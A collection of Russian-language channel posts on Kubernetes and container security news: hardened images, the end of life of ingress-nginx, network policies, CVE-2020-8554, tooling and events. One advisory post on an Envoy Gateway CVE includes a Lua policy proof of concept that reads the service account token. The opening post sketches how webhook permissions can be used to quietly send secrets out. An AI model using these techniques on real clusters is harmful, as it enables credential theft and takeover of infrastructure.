Начинаем эту неделю с небольшой фишки, которая будет полезна при проведении пентеста Kubernetes в связке с Vault.

Если у вас есть RBAC права на CREATE на ValidatingWebhookConfiguration, вы можете развернуть webhook, который будет незаметно сливать чувствительные данные — такие как secrets, configmaps и т.п. — на ваш веб-сервер.

Последним техническим постом в этoм году мы хотели бы рассказать про статью "A Safer Container Ecosystem with Docker: Free Docker Hardened Images".

По сути это аналог chainguard images, но от ребят из Docker: минималистичный, обновляемый и с аттестационной информацией (SBOM,VEX,SLSA).

Тонкие, захардениные образы это уже давно не роскошь и не прерогатива продвинутых команд, это уже базовый минимум для команд, которые думают о безопасности своих контейнерных приложений.

Подробнее можно узнать из документации.

Подведем итоги года данного канала в цифрах.

Большое спасибо всем читателям, всему сообществу за вашу активность!

P.S. Цифры прошлых лет можно посмотреть тут: 2022, 2023, 2024.

Команда нашего канала и вся команда Luntry хочет поздравить всех вас с наступающим Новым Годом!

В кругу близких и родных за вкусным и аппетитным столом вы получение личные поздравления, а у нас на канале профессиональные ;)

Желаем вам строить и развивать свои безопасные инфраструктуры на базе контейнеров и Kubernetes не по остаточному принципу, а как по одному из основополагающих факторов!

Желаем вам заниматься интересными, креативными задачами, а не муторными, монотонными прописанными в уставе, устаревшим еще в момент его написания.

Желаем вам получать от работы удовольствия и развития!

Мы же со свой стороны как всегда готовы вас радовать интересной, полезной информацией, крутыми фичами в Luntry и всегда помогать по любым вопросам, двигая нашу индустрию вперед!

В первый рабочий день в этом году хотим поделиться с вами полезной статьёй от Chainguard про ingress-nginx. Мы уже говорили в одном из прошлых постов, что проект ingress-nginx движется к завершению жизненного цикла и фактически будет архивирован в 2026 году.

В статье подробно объясняется, почему это проблема для продакшена: без поддержки и security-патчей ingress-nginx со временем станет уязвимым и рискованным компонентом инфраструктуры. При этом ingress-nginx всё ещё используется в огромном количестве Kubernetes кластеров по всему миру.

Chainguard решила временно «поддержать жизнь» проекта через программу EmeritOSS — выпуская обновления безопасности, чтобы дать командам время спокойно спланировать миграцию. Хороший повод проверить, что у вас с ingress-nginx сейчас, и начать готовиться к переходу на альтернативы.

С форком можно ознакомиться тут.

Из статьи "Securing Kubernetes: The Network Policy Reality" вы узнаете результат опроса 530 участников о их жизни и взаимодействии с Network Policy в Kubernetes.

Давно понятно, что их использование это строго обязательно (must have), но для этого как правило требуются дополнительные процессы и инструменты, чтобы жить спокойно.

Так у нас в Luntry мы начинали с того что сначала просто отображали сетевую карту взаимодействия, а потом уже генерацию на ее основе Native, Calico и Cilium политик.

Мы продолжаем готовиться к нашей конференции БеКон 2026 по БЕзопасности КОНтейнеров и Kubernetes!

У нас на сайте появилась кнопка/раздел "Заказ доклада"!

Что это такое?

Программа любой конференции всегда формируется из того, что потенциальные докладчики приносят на CFP или из того, что прорабатывают участники программного комитета конференции. НО мы решили пойти дальше и дать возможность участникам/посетителям сформировать свой запрос к программе конференции!

"Заказ доклада" — это возможность сказать/запросить, то, что бы было интересно и полезно послушать, чтобы конференция была для вас еще более полезной. А мы уже как программный комитет беремся за то, чтобы такой доклад появился в сетке докладов нашими силами или силами наших друзей, коллег, знакомых, ...

Это уникальная возможность, которой нет ни у кого.

P.S. Также принимаем и ждем ваши заявки на CFP ;)

Если вы уже успели переехать с ingress-nginx и используете Gateway, а точнее реализацию от Envoy, стоит обратить внимание на свежую уязвимость в Envoy Gateway – CVE-2026-22771.

Проблема связана с Lua-расширениями: при определённых условиях можно выполнить код внутри прокси и получить доступ к его внутренним данным. В худшем сценарии утекут сертификаты, токены и другие секреты, что открывает путь к управлению трафиком и инфраструктурой.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: backend
  lua:
    - type: Inline
      inline: |
        function envoy_on_response(response_handle)
          local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
          local content
          if token then
             content = token:read("*all")
             token:close()
          else
             content = "file-not-found"
          end
          io.write(content)
          error(content)
        end

Уязвимость затрагивает версии до 1.5.7 и 1.6.2 и уже исправлена в обновлениях. Если Envoy Gateway используется в проде, обновляться лучше как можно скорее, а пока — ограничить доступ к созданию политик с Lua через RBAC.

Недавно нам на глаза попался инструмент вот с таким совсем не заурядным описанием)

Проект называется sentrilite и доступен на GitHub!

Давненько не встречались проекты, которые так жестко собирали в своем описание все хайповые слова, технологии и направления)))

Не хотим вас лишать удовольствия от изучения репозитария данного проекта, можно найти много несостыковок, приколов и т.д.

Статья Unpatchable Vulnerabilities of Kubernetes: CVE-2020-8554 подробно разбирает CVE-2020-8554 — архитектурную уязвимость Kubernetes, которая встречается во всех кластерах и не закрывается обычными патчами. Авторы объясняют, как она работает «под капотом», показывают примеры использования ExternalIP и того, как kube-proxy создаёт правила, из-за которых можно перехватить трафик.

В статье пошагово описано, как злоумышленник с правами на создание Service может направить трафик, предназначенный для внешнего IP, в свой под, и какие технические детали iptables-правил стоят за этим поведением.

Кроме того, авторы обсуждают варианты смягчения — например, блокировку ExternalIP через admission контроллеры, использование других CNI решений вроде Cilium и оценку риска в зависимости от модели угроз.

Мы уже достаточно давно на наших вебинарах, выступлениях, тренингах говорим о том, что Nodes кластера это не место для людишек пользователей. Ведь это сразу множество проблем от configuration drift до целой модели нарушителя "атакующий на Node".

Всеми силами старайтесь, чтобы люди не появлялись на Nodes или имели туда доступ в редких, регламентных случаях под пристальным контролем.

Кто-то уже решает это с помощью специализированных хостовых ОС для контейнерных сред, типа Talos.

А кто-то как RedHat разработали для своего OpenShift специальный оператор - machine-config-operator, который с помощью специальных custom resources позволяет выполнять операции на Nodes декларативно и без присутствия человека в системе. Его код открыт и доступен, но можно сказать гвоздями прибит к стеку RedHat ...

И вот наш хороший товарищ Дмитрий Путилин зарелизил проект In-Cloud Machine Config Operator (MCO), который решает данную проблему! В данном проекте можно выделить:
• Декларативное управление конфигурацией узлов через Kubernetes API
• Базовые концепции: MachineConfig, MachinePool и рендеринг состояний
• Безопасное обновление файлов на старте (sysctl, systemd unit — в следующей версии)
• Предсказуемые перезагрузки узлов и контроль конфигурационного дрейфа

Полезная информация:
- Документация
- Демо стенд
- Исходники на GitHub

K8s-ESP-Reference-Implementation — это reference-реализация Kubernetes ориентированного движка для непрерывного compliance-мониторинга на основе ESP политик. Система исполняет политики внутри кластера и формирует криптографически проверяемые аттестации состояния среды.

Архитектура построена по pull модели: агенты периодически получают политики, выполняют проверки и возвращают структурированные, CUI-free результаты. Это позволяет реализовать непрерывный контроль без зависимости от внешних сканеров и тяжёлых runtime движков.

Проект позиционируется как замена традиционных OSCAP подходов с XML-профилями и ориентирован на Сloud Native и DevSecOps пайплайны. Поддерживается маппинг на фреймворки CIS, NIST и интеграция с SIEM и serverless платформами.

22 января в 11.00 проведем вебинар "Платформа контейнеризации под защитой: объединяя знания Deckhouse и Luntry" совместно с командой платформы Deckhouse.

Там рассмотрим:
- На что стоит обращать внимание при выборе платформы в вопросах безопасности;
- На что стоит обращать внимание при выборе наложенного средства безопасности для Kubernetes;

Как всегда, можно будет задавать вопросы и получить практические советы по обеспечению безопасности контейнерных сред.

Зарегистрироваться можно тут.